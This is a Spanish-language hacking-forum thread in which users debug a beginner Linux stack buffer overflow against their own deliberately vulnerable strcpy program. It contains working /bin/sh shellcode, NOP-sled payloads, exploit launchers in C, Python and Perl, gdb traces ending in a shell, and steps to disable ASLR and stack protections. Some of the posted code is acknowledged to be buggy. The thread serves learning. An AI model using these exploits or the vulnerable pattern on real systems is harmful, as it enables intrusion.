Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Garfield07 en 22 Enero 2011, 17:50 pm



Título: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
Publicado por: Garfield07 en 22 Enero 2011, 17:50 pm
Bueno, ahi va el titulo, la cosa es que tengo un programita con una vulnerabilidad y lo estoy explotando. El otro dia consegui manejar el transcurso de la aplicacion, y ahora abrir una shellcode...
Lo hago asi:
Código:
 ./vuln [23 NOPS + 25 Shellcode + 4 RET] 
La idea la saque de un post antiguo del foro... Evidentemente se puede cambiar la posicion de los Nops, pero bueno...

Bueno, consigo la shellcode al correrlo asi:
Código:
./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
$
Pero a la hora de hacer el exploit...
Código:
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
Fallo de segmentación
juanra@Juanra:~/Escritorio/Shell$ gdb -q exploit
(gdb) r
Starting program: /home/juanra/Escritorio/Shell/exploit

Program received signal SIGSEGV, Segmentation fault.
0xb77521f4 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb)

Tengo este codigo, en el que también va como comentario el vulnerable...
Código
  1. /*
  2. First BoF Linux attack : Sagrini 2010 : elhacker.net
  3. 23 Nops + 25 Shellcode + 4 Ret = 52 [48 Buffer + Ret] + 7 ["./vuln "] = 59
  4.  
  5. gcc -o vuln vuln.c --no-stack-protector -g -z execstack
  6. ./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
  7. $
  8.  
  9. gcc -o exploit exploit.c
  10. ./exploit
  11. $
  12.  
  13. ------------------------------------------
  14. !!! Vuln code !!!
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <string.h>
  18.  
  19. void soy_vuln(char *arg)
  20. {
  21. char buffer [48];
  22. strcpy (buffer, arg);
  23. }
  24.  
  25. int main(int argc, char *argv[])
  26. {
  27. if (argc != 2) return 1;
  28. soy_vuln(argv[1]);
  29. }
  30. ------------------------------------------
  31. */
  32.  
  33. #include <stdio.h>
  34. #include <string.h>
  35.  
  36. int main ()
  37. {
  38. printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net");
  39.  
  40. char nops [23];
  41. memset (nops, '\x90', 23);
  42. char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  43. char ret [4] = "\x18\x1f\x9b\xbf";
  44.  
  45. char command [59];
  46. strcpy (command, "./vuln ");
  47. strcpy (command, nops);
  48. strcpy (command, shellcode);
  49. strcpy (command, ret);
  50. execve (command, command, NULL);
  51.  
  52. return 0;
  53. }
  54.  
  55.  

Ahora mi pregunta es... ¿Qué falla?


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
Publicado por: AlbertoBSD en 23 Enero 2011, 14:32 pm
lo que falla es que tienes protecciones anti stack over flow

saludos


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
Publicado por: Garfield07 en 23 Enero 2011, 15:35 pm
lo que falla es que tienes protecciones anti stack over flow

Los desactivo en el vuln, no en el exploit... Ahora mismo pruebo...
Modf: Anon, nada...

Código
  1. /*
  2. First BoF Linux attack : Sagrini 2010 : elhacker.net
  3. 23 Nops + 25 Shellcode + 4 Ret = 52 [48 Buffer + Ret] + 7 ["./vuln "] = 59
  4.  
  5. gcc -o vuln vuln.c --no-stack-protector -g -z execstack
  6. ./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
  7. $
  8.  
  9. gcc -o exploit exploit.c
  10. ./exploit
  11. $
  12.  
  13. ------------------------------------------
  14. !!! Vuln code !!!
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <string.h>
  18.  
  19. void soy_vuln(char *arg)
  20. {
  21. char buffer [48];
  22. strcpy (buffer, arg);
  23. }
  24.  
  25. int main(int argc, char *argv[])
  26. {
  27. if (argc != 2) return 1;
  28. soy_vuln(argv[1]);
  29. }
  30. ------------------------------------------
  31. */
  32.  
  33. #include <stdio.h>
  34. #include <string.h>
  35.  
  36. int main ()
  37. {
  38. printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n");
  39.  
  40. char nops [23];
  41. memset (nops, 'A', 23);
  42. char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  43.  
  44. char ret [4] = "\x18\x1f\x9b\xbf";
  45.  
  46. char command [59];
  47. strcpy (command, "./vuln ");
  48. strcat (command, nops);
  49. strcat (command, shellcode);
  50. strcat (command, ret);
  51. // system (command);
  52.  
  53. printf ("%s", command);
  54.  
  55. return 0;
  56. }
  57.  
Si os dais cuenta, no ejecuto nada, solo muestro la cadena. Antes de eso, al strcpy (command, shellcode) da el fallo...
Ahora me pasare por el foro C/C++ porque no es fallo de vuln...
Compilo asi...
Código:
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./exploit
First BoF Linux attack : Sagrini 2010 : elhacker.net
Fallo de segmentación
juanra@Juanra:~/Escritorio/Shell$
Alguna idea?


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
Publicado por: Ivanchuk en 23 Enero 2011, 22:00 pm

Código
  1.  
  2. char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  3.  
  4.  
  5.  
  6. char ret [4] = "\x18\x1f\x9b\xbf";
  7.  
  8.  
  9.  
  10. char command [59];
  11.  
  12. strcpy (command, "./vuln ");
  13.  
  14. strcat (command, nops);
  15.  
  16. strcat (command, shellcode);
  17.  
  18. strcat (command, ret);
  19.  
  20.  





Cuando usas c chars con las funciones strxxx, los cadenas tienen que contener \x0 para marcar el fin de la misma sino strxxx va a seguir de largo y copiar cualquier cosa. Si queres serguir usando esas funciones agregales '\0' al final de las cadenas que usas sino podes usar memcpy.

Mirate el man execve (http://linux.die.net/man/2/execve). El 2do argumento es un arreglo de punteros a char, el mismo tipo que argv.

Probate este code:
Código:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
 
int main ()
{
printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n");
 
char nops [24];
memset (nops, '\x90', 23);
nops[23] = '\0';
char shellcode [] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x0";
char ret [] = "\x18\x1f\x9b\xbf\x0";
 
char command [59];
strcpy (command, nops);
strcat (command, shellcode);
strcat (command, ret);
char *cmd[] = {command, NULL};
execve ("./vuln", cmd, NULL);
 
return 0;
}


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
Publicado por: Garfield07 en 24 Enero 2011, 19:12 pm
Bueno, de acuerdo, ahora no da fallo de segm. pero no ejecuta nada...
Código:
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c -z execstack --no-stack-protector
juanra@Juanra:~/Escritorio/Shell$ ./exploit
First BoF Linux attack : Sagrini 2010 : elhacker.net
juanra@Juanra:~/Escritorio/Shell$

Vale, ahora qué, si fuese porque cambia la dirección de memoria me diriía fallo de segmentación, pero nada...
Una cosa, si le meto un byte nulo, no se rellena todo... No va... Voy a probar otra cosa...
--------------------------------------------------------------------------------------------------------------------------------------------------------
Modf: Pruebo con este code:
Código
  1. #include <stdlib.h>
  2. #include <string.h>
  3. #include <stdio.h>
  4.  
  5. int main ()
  6. {
  7. printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n");
  8.  
  9. char command [] = "./vuln \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x18\x1f\x9b\xbf";
  10.  
  11. system (command);
  12. return 0;
  13. }
  14.  
y este
Código
  1. #include <stdlib.h>
  2. #include <string.h>
  3. #include <stdio.h>
  4.  
  5. int main ()
  6. {
  7. printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n");
  8.  
  9. char command [] = "./vuln \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x18\x1f\x9b\xbf";
  10.  
  11. char *cmd[] = {command, NULL};
  12. execve ("./vuln", cmd, NULL);
  13. return 0;
  14. }
  15.  

En el primero, "Segmentation Fault". En el segundo no printea nada menos la primera frase.
¿Qué hago?


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
Publicado por: Ivanchuk en 24 Enero 2011, 20:22 pm
Me parece que te dije cualquier verdura hehe, perdona. En realidad los char * inicializados con dobles comillas, c les agrega un null byte al final automaticamente. El problema lo tenias con los nops, porq los llenabas con memset.

Bueno retomando, en el segundo codigo, porq metes "./vuln" al principio del argumento para vuln en execve???

En el primero ni idea...


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
Publicado por: Garfield07 en 25 Enero 2011, 18:38 pm
./vuln es el programa a ejecutar no? Voy a contar los nops, a ver si he metido de más...
execve (<nombre prog>, <argumentos completos> <entorno>);
Pues eso...

Ahora modf, que se me ha ocurrido otra cosa...


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
Publicado por: mr.blood en 6 Febrero 2011, 12:55 pm
Yo no he tenido ningun problema en hacer el exploit ni en C, ni en Python ;).

C:
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4.  
  5. int main()
  6. {
  7. char name[]="./bof";
  8. char nops[24]="";
  9. memset(nops, '\x90', 23); /* Copiamos el byte 90 23 veces en la variable nops */
  10. char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  11. char ret[]="\x18\x1f\x9b\xbf";
  12.  
  13. char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */
  14. cmd=(char *)malloc(strlen(name)+strlen(nops)+strlen(shellcode)+strlen(ret)+1);/* Reservamos la memoria necesaria
  15. para juntar todo */
  16. sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el
  17. puntero cmd, entre name y los demas campos dejamos un espacio */
  18. system(cmd);
  19. free(cmd);/* Liberamos la memoria */
  20. return 0;
  21. }
  22.  



Python:
Código
  1. import os
  2. archivo="./bof "
  3. nops="\x90" * 23
  4. shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
  5. ret="\x18\x1f\x9b\xbf"
  6.  
  7. os.system(archivo+nops+shellcode+ret)
  8.  

Espero haberte ayudado, porque no se si llegaste a resolver tu duda ;).

Sa1uDoS


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
Publicado por: Belial & Grimoire en 7 Febrero 2011, 00:59 am
pues yo tambien lo intente y no me funciono, ya trate de modificar los nops, no se si sea igual en linux, pero en windows tenia que dejar ret exacto en EIP para que saltara y se creara la shell

pues lo intente y no me funciona... sera por alguna razon de sistemas linux, yo utilizo debian suqeeze

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main(){
  6.  
  7. char exp[] = "./vuln";
  8. char nops[23] = "";
  9. memset(nops, '\x90', 23);
  10. char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  11. char ret[]="\x18\x1f\x9b\xbf";
  12.  
  13. char *cmd;
  14. cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1);
  15.  
  16. sprintf(cmd,"%s %s %s %s", exp, nops, shellcode, ret);
  17.  
  18. system(cmd);
  19. free(cmd);
  20.  
  21. return 0;
  22. }

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. void soy_vuln(char *arg){
  6.  
  7. char buff[48];
  8. strcpy(buff, arg);
  9. printf("%s", buff);
  10. }
  11.  
  12. int main(int argc, char *argv[]){
  13.  
  14. if(argc != 2) return 1;
  15.  
  16. soy_vuln(argv[1]);
  17. }


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
Publicado por: mr.blood en 7 Febrero 2011, 06:57 am
Porque dejas esto asi ???

Código:
sprintf(cmd,"%s %s %s %s", exp, nops, shellcode, ret);

Tiene que ser
Código:
sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);

Sino es normal que no te funcione ;).

Si lo copias tal y como esta (mi codigo) no te funciona ???

Has compilado vuln como
Código:
gcc -o vuln vuln.c --no-stack-protector -g -z execstack
???

Sa1uDoS


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
Publicado por: Belial & Grimoire en 7 Febrero 2011, 07:31 am
sip, lo hice con tu codigo, y lo unico que cambie fue "./vuln"

y al ejecutarlo me aparece esto

Código:
�����������������������1�Ph//shh/bin��P��S���

y vuln lo compile asi exactamente

Código:
gcc -o vuln vuln.c --no-stack-protector -g -z execstack

y haciendo esto

Código:
sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);

me dice.... Segmentation fault



Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
Publicado por: mr.blood en 7 Febrero 2011, 15:58 pm
No, eso que pusiste no es mi code.

Tiene errores, como
Código:
char nops[23] = "";
es nops[24] ;). Quiza por eso te tira segmentation fault.

Y eso del sprintf que ya te dije ;).



Pon mas informacion, que distro usas ???

Yo uso OpenSuSe y me funciona perfecto.

Sa1uDoS

P.D.:Agregame al MSN si quieres y miramos que es con mas detalle ;).



EDIT:

A mi asi me funciona:
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main(){
  6.  
  7. char exp[] = "./bof";
  8. char nops[24] = "";
  9. memset(nops, '\x90', 23);
  10. char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  11. char ret[]="\x18\x1f\x9b\xbf";
  12.  
  13. char *cmd;
  14. cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1);
  15.  
  16. sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);
  17.  
  18. system(cmd);
  19. free(cmd);
  20.  
  21. return 0;
  22. }
  23.  



EDIT2:

Prueba si quieres con una shellcode que he hecho yo ;), aunque la de Sagrini va genial tambien.

Código
  1. #include <stdio.h> /* Para Sprintf */
  2. #include <string.h> /* Para memset */
  3. #include <stdlib.h> /*Para malloc y system */
  4.  
  5. int main()
  6. {
  7. char name[]="./bof";
  8. char nops[26]="";
  9. memset(nops, '\x90', 25); /* Copiamos el byte 90 25 veces en la variable nops */
  10. char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
  11. "\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
  12. char ret[]="\x18\x1f\x9b\xbf";
  13.  
  14. char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */
  15. cmd=(char *)malloc(sizeof(name)+sizeof(nops)+sizeof(shellcode)+sizeof(ret)+1);/* Reservamos la memoria necesaria
  16. para juntar todo */
  17. sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el
  18. puntero cmd, entre name y los demas campos dejamos un espacio */
  19. system(cmd);
  20. free(cmd);/* Liberamos la memoria */
  21. return 0;
  22. }
  23.  


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
Publicado por: Garfield07 en 7 Febrero 2011, 18:49 pm
No, eso que pusiste no es mi code.

Tiene errores, como
Código:
char nops[23] = "";
es nops[24] ;). Quiza por eso te tira segmentation fault.

Y eso del sprintf que ya te dije ;).



Pon mas informacion, que distro usas ???

Yo uso OpenSuSe y me funciona perfecto.

Sa1uDoS

P.D.:Agregame al MSN si quieres y miramos que es con mas detalle ;).



EDIT:

A mi asi me funciona:
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main(){
  6.  
  7. char exp[] = "./bof";
  8. char nops[24] = "";
  9. memset(nops, '\x90', 23);
  10. char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  11. char ret[]="\x18\x1f\x9b\xbf";
  12.  
  13. char *cmd;
  14. cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1);
  15.  
  16. sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);
  17.  
  18. system(cmd);
  19. free(cmd);
  20.  
  21. return 0;
  22. }
  23.  



EDIT2:

Prueba si quieres con una shellcode que he hecho yo ;), aunque la de Sagrini va genial tambien.

Código
  1. #include <stdio.h> /* Para Sprintf */
  2. #include <string.h> /* Para memset */
  3. #include <stdlib.h> /*Para malloc y system */
  4.  
  5. int main()
  6. {
  7. char name[]="./bof";
  8. char nops[26]="";
  9. memset(nops, '\x90', 25); /* Copiamos el byte 90 25 veces en la variable nops */
  10. char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
  11. "\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
  12. char ret[]="\x18\x1f\x9b\xbf";
  13.  
  14. char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */
  15. cmd=(char *)malloc(sizeof(name)+sizeof(nops)+sizeof(shellcode)+sizeof(ret)+1);/* Reservamos la memoria necesaria
  16. para juntar todo */
  17. sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el
  18. puntero cmd, entre name y los demas campos dejamos un espacio */
  19. system(cmd);
  20. free(cmd);/* Liberamos la memoria */
  21. return 0;
  22. }
  23.  

Wow gracias por revivir a todos! Estaba tanto con el taller que se me habia pasado...
Como os comentaba, podeis probar a hacerlo con Perl desde la linea de comandos :P
./vuln $(perl -e 'print "\x90"x11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xXX\xXX\xXX\xXX"')

Las XX las sustituis por vuestra direccion de regreso :P. Aqui pongo la de la variable buffer, donde se encuentra la shellcode. Aparte, si os dais cuenta...
11 + 25 + 4 = 40. Buffer = 36. Que pasa? Porque en medio tenemos EBP y el ret. Pues lo que pasa es que al volver se quitan 4 bytes :P.
Bueno, hago eso y me suelta la shell.
Ahora, para vuestra direccion de regreso...
Código:
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack [b]-g[/b]
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) br vuln
Breakpoint 1 at 0x80483ca: file vuln.c, line 7.
(gdb) r AAA
Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:7
7 strcpy (buffer, buff);
(gdb) x/x buffer
[b]0xbffff904[/b]: 0x00000000
(gdb)

Ahora, si quereis le sumais algo por si las moscas :P


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
Publicado por: Garfield07 en 9 Febrero 2011, 00:22 am
Bueno, escribí un pequeño code para mi blog hace un ratillo...
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. int vuln (char *buff)
  5. {
  6.    char buffer [36];
  7.    strcpy (buffer, buff);
  8. }
  9.  
  10. int main (int argc, char *argv [])
  11. {
  12.    vuln (argv [1]);
  13. }
  14.  
  15. int feo ()
  16. {
  17.    printf ("Eres feo!!!");
  18.    exit (0);
  19. }
  20.  
Código:
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln (perl -e 'print "A"x40 . "\x68\x84\x04\x08"')
Eres feo!!!
juanra@Juanra:~/Escritorio/Shell$
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main ()
  6. {
  7.    char nops [40];
  8.    memset (nops, 'A', 40);
  9.    char ret [5] = "\x68\x84\x04\x08";
  10.  
  11.    char command [51];
  12.    strcpy (command, "./vuln ");
  13.    strcat (command, nops);
  14.    strcat (command, ret);
  15.    system (command);
  16. }
  17.  

Luego lo hago con shellcode... Este ahora mismo va :P


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
Publicado por: Garfield07 en 9 Febrero 2011, 00:56 am
Bueno, tras un ratillo erre que erre golpeándome he conseguido ejecutar una shellcode. Os explico:
Primero he calculado cuantos nops (0x90, el procesador no hace nada) le tengo que meter a la cadena. Luego, he escrito mi shellcode, y finalmente he calculado la dirección de regreso.
Calculemos: Tenemos 36 bytes, pero para cambiar la ejecución del programa hacen falta 44. Así que...
44 - 4 (dirección de regreso) = 40. Mi shellcode mide 25 pbytes...
40 - 25 (shellcode) = 15. En este hueco irá relleno.
Así que la estructura sería: 15 Nops (\x90) + 25 Shellcode + 4 Ret.
Escribimos:
Código:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904:    0x00000000
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb36 '\220' <repeats 15 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff95b in ?? ()
(gdb)
¿Error? Pues sí. No nos hemos dado cuenta de que al volver se restan 4 bytes...
Código:
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: Function "vuln" not defined.
(no debugging symbols found)
(no debugging symbols found)
$
Ahora escribimos el exploit...
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main ()
  6. {
  7.    char nops [11];
  8.    memset (nops, '\x90', 11);
  9.    char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  10.    char ret [5] = "\x04\xf9\xff\xbf";
  11.  
  12.    char command [47];
  13.    strcpy (command, "./vuln ");
  14.    strcat (command, nops);
  15.    strcat (command, shellcode);
  16.    strcat (command, ret);
  17.    system (command);
  18. }
  19.  
Código:
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
$

¡Bueno, lo hemos conseguido! ¡Hemos escrito nuestro primer exploit con shellcode en un entorno linux!

PD: Sé que no me explico nada bien, todas las dudas...
PD2: Habrá más entregas ;D
Un saludo! Os espero.
Sagrini


Sacado de mi blog xD!


Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
Publicado por: Belial & Grimoire en 10 Febrero 2011, 08:27 am
hola

Pues lo estuve intentando, tambien de esta manera, conte las veces de nop's que se necesitaban y no hubo ninguna shell

ya tambien lo intente con perl, hice copy paste de los codigos y nada, compile las cosas como me dijeron y tampoco

me di cuenta de algo... al revisarlo con GDB, me di cuenta que al poner "r AAA", cuando trate de sacar el RET, me di cuenta que buffer no queda asi

Código:
Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:7
7 strcpy (buffer, buff);
(gdb) x/x buffer
[b]0xbffff904[/b]: 0x00000000

Me queda de esta manera

Código:
Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:7
7     strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff40c: 0xb7e9ba75
(gdb)

y si coloco x/x buff

Código:
(gdb) x/x buff
0xbffff682: 0x41414141

alli estan los 41, o por lo menos eso en Windows para mi era señal de vulnerabilidad

intente con 0xbffff40c y 0xbffff682 y con ninguno de los 2, como mencione calcule too, y le iba aumentando poco a poco, pero en el comando "c" en gdb, solo me decia

(gdb) c
Continuing

y le aumente hasta que llegue a 15 me salio

Program received signal SIGSEGV, Segmentation fault.
0xbffff69c in ?? ()

no se si alli este el problema, aunque me imagino que sip

uso debian 6.0 squeeze

-------------------------------------

mr. blood

perdon si no te he podido agregar, pero como veras en estos momentos no he podido entrar mucho al foro, pero en cuanto pueda te agrego y vemos eso.

salu2





Título: Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
Publicado por: Garfield07 en 10 Febrero 2011, 19:14 pm
¿Has probado a desactivar protecciones?
Código:
$ sudo su
# echo 0 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space
# exit
$
Código:
$ gcc -o vuln vuln.c --no-stack-protector -z execstack

Has copiado el code?
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. int vuln (char *buff)
  5. {
  6.    char buffer [36];
  7.    strcpy (buffer, buff);
  8. }
  9.  
  10. int main (int argc, char *argv [])
  11. {
  12.    vuln (argv [1]);
  13. }
  14.  
  15. int feo ()
  16. {
  17.    printf ("Eres feo!!!");
  18.    exit (0);
  19. }
  20.  

Pues primero vemos cuántos bytes le metemos:
Código:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
